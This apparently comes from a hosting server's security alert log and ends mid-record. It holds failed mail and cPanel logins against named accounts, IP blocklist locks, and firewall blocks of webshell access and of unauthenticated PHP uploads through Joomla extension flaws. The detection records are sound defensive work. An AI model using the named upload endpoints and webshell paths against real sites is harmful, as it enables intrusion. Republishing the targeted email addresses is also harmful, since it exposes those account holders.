2026-07-22 17:53:49 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [121.202.135.172]:53115: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.195
country_id: 1835841
description:
2026-07-22 17:54:21 dovecot_login authenticator failed for H=([177.7.30.146]) [183.104.220.195]:48350: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.104.220.195
country_id: 1835841
description:
Jul 22 17:54:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.104.220.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 17:55:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.165.63.205
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/m.php||SC:/home/cochinbigbandsho/public_html/images/m.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.254.22.207
country_id: 6252001
description:
Jul 22 17:57:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.254.22.207 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.22.207
country_id: 6252001
description:
2026-07-22 17:57:06 dovecot_login authenticator failed for H=(111-70-22-152.emome-ip.hinet.net) [207.254.22.207]:64818: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.165.63.205
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/cochinbigbandsho/public_html/wp-includes||


plugin: modsec
rule: 77140165
name: IM360 WAF: Block .suspected files
abuser: 52.165.63.205
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block .suspected files||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/atomlib.php.suspected||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.198
country_id: 2328926
description:
2026-07-22 18:01:03 dovecot_login authenticator failed for H=(191-210-133-134.user.vivozap.com.br) [41.207.248.198]:33982: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.56.174.63
country_id: 3686110
description:
Jul 22 18:00:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.56.174.63 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-22 18:00:43 dovecot_login authenticator failed for H=([149.54.51.74]) [181.56.174.63]:53562: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.88.23.26
country_id: 298795
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:38618.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:830e21f398c5818ec49e0b029a7b0162144a603b||Title:0x29cbe7b1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 18:09:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-22 18:09:31 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 18:10:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.122.114.193
country_id: 798549
description:
Jul 22 18:14:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.122.114.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-22 18:14:32 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:39096: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 18:14:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 18:15:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 18:18:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 18:20:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 22 18:21:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.250.180
country_id: 99237
description:
Jul 22 18:25:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.250.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.180
country_id: 99237
description:
2026-07-22 18:25:27 dovecot_login authenticator failed for H=([185.81.94.58]) [65.20.250.180]:52300: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.253.122
country_id: 1269750
description:
Jul 22 18:26:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.253.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-22 18:26:09 dovecot_login authenticator failed for H=([62.201.212.54]) [128.185.253.122]:45640: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.35.213.41
country_id: 1835841
description:
Jul 22 18:26:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.35.213.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.35.213.41
country_id: 1835841
description:
2026-07-22 18:26:10 dovecot_login authenticator failed for H=([49.124.149.50]) [118.35.213.41]:3364: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-22 18:26:43 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com (distribution05-10gb.1560.la3.switches.zerolag.com) [82.209.191.11]:52006: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.209.191.11
country_id: 2661886
description:
Jul 22 18:26:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.209.191.11 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.214
country_id: 6252001
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_fbc11036.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 18:29:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 18:32:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.102.190
country_id: 1269750
description:
Jul 22 18:35:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.102.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-22 18:35:36 dovecot_login authenticator failed for H=([70.166.167.60]) [182.95.102.190]:40226: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 18:35:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.87.66.11
country_id: 2300660
description:
Jul 22 18:36:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.87.66.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.87.66.11
country_id: 2300660
description:
2026-07-22 18:36:11 dovecot_login authenticator failed for H=([178.132.144.161]) [80.87.66.11]:36786: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.5.39
country_id: 1668284
description:
Jul 22 18:36:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.5.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.39
country_id: 1668284
description:
2026-07-22 18:36:16 dovecot_login authenticator failed for H=([183.171.41.105]) [101.13.5.39]:39748: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 18:37:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.214
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_bd7aef77.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 18:41:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.52.161.203
country_id: 6252001
description:
Jul 22 18:42:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.52.161.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.52.161.203
country_id: 6252001
description:
2026-07-22 18:43:00 dovecot_login authenticator failed for H=([72.195.114.182]) [64.52.161.203]:45550: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 18:44:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.214
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_f8119424.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.37.27.11
country_id: 1835841
description:
Jul 22 18:45:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.37.27.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.37.27.11
country_id: 1835841
description:
2026-07-22 18:45:42 dovecot_login authenticator failed for H=([46.163.174.216]) [118.37.27.11]:58639: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-22 18:45:52 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net ([70.166.167.60]) [76.133.97.153]:33544: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.133.97.153
country_id: 6252001
description:
Jul 22 18:45:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.133.97.153 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://hvacrepairnearme2.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.29.140.188
country_id: 1835841
description:
Jul 22 18:47:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.29.140.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-22 18:47:59 dovecot_login authenticator failed for H=(host-176.111.64.38.userland.magintov.ru) [120.29.140.188]:40806: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 18:50:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.5.33
country_id: 1668284
description:
Jul 22 18:53:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.5.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.33
country_id: 1668284
description:
2026-07-22 18:53:23 dovecot_login authenticator failed for H=(91-241-150-246-dyn.neotele.com.ru) [101.13.5.33]:55018: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.16.176.106
country_id: 1643084
description:
Jul 22 18:54:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.16.176.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.16.176.106
country_id: 1643084
description:
2026-07-22 18:54:04 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [182.16.176.106]:53107: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.61.251.4
country_id: 3686110
description:
Jul 22 18:53:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.61.251.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-22 18:53:36 dovecot_login authenticator failed for H=([68.71.253.70]) [181.61.251.4]:36278: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.203.17.220
country_id: 6252001
description:
Jul 22 18:54:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.203.17.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-22 18:54:39 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net (nsg-corporate-150.65.185.122.airtel.in) [73.203.17.220]:35846: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 18:54:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 98.97.151.46
country_id: 1036973
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:59277.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0a1d85f19abc0e5c95b12600ef28ebe15ff5212c||Title:0x2d6903d8||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.128.131.123
country_id: 3996063
domain: alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/alnayza.com/ HTTP/1.1||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77350979
abuser: 217.79.118.143
country_id: 6251999
domain: futuracare.com.au
description:
IM360 WAF: Joomla Page Builder CK unauthenticated file upload - browse.ajaxAddPicture (CVE-2026-56290 / WPT-2603)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 18:59:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 37.122.149.53
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-6151.xml.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.52.12
country_id: 1880251
domain: www.keralapeople.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 19:04:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77209353
abuser: 213.177.237.82
country_id: 1835841
domain: alnayza.com
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 19:07:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 19:10:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 19:11:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.196.213.196
country_id: 1835841
description:
Jul 22 19:12:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.196.213.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-22 19:12:38 dovecot_login authenticator failed for H=([174.77.111.220]) [119.196.213.196]:60828: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.239.145.229
country_id: 6252001
description:
2026-07-22 19:12:50 dovecot_login authenticator failed for H=([68.71.251.130]) [72.239.145.229]:37530: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.239.145.229
country_id: 6252001
description:
Jul 22 19:12:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.239.145.229 has been locked due to Imunify RBL


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 193.148.57.33
country_id: 732800
domain: cochinbigbandshow.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icolpbouy/fonts/fpwlxwr.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 151.241.154.214
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_0b6de966.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 95.214.103.111
country_id: 3144096
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 buy gift cards with bitcoin - <a href=\"https://buyonlinewithcrypto.com/\">https://buyonlinewithcrypto.com/</a> - (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 19:16:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://awards.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-22 19:17:58 dovecot_login authenticator failed for H=([65.20.191.231]) [125.19.182.118]:57744: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.182.118
country_id: 1269750
description:
Jul 22 19:17:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.182.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.112.174
country_id: 1269750
description:
Jul 22 19:17:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.112.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-22 19:17:44 dovecot_login authenticator failed for H=([94.16.17.141]) [182.78.112.174]:53094: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.146.20.92
country_id: 6252001
description:
[2026-07-22 19:18:53 +0530] info [whostmgrd] 52.146.20.92 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.0.161.248
country_id: 3625428
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/?page_id=1383/ HTTP/1.1||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 19:21:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.120.189.74
country_id: 1269750
description:
[2026-07-22 19:23:25 +0530] info [whostmgrd] 103.120.189.74 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.87.2
country_id: 1269750
description:
Jul 22 19:24:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.87.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-22 19:24:45 dovecot_login authenticator failed for H=(111-70-32-5.emome-ip.hinet.net) [182.78.87.2]:56884: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 19:26:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.150.119.224
country_id: 1522867
domain: interceptorglobal.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/interceptorglobal.in/ HTTP/1.1||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 132.145.20.138
country_id: 2635167
domain: alnayza.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 (compatible; TeamContactBot/1.0; +research)||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 205.185.113.241
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/images/sec-54d7729d64.php||SC:/home/yukticlick/public_html/images/sec-54d7729d64.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 205.185.113.241
country_id: 6252001
domain: www.yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/images/sec-b49f67a192.php||SC:/home/yukticlick/public_html/images/sec-b49f67a192.php||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://acrepair1.info\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 19:30:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
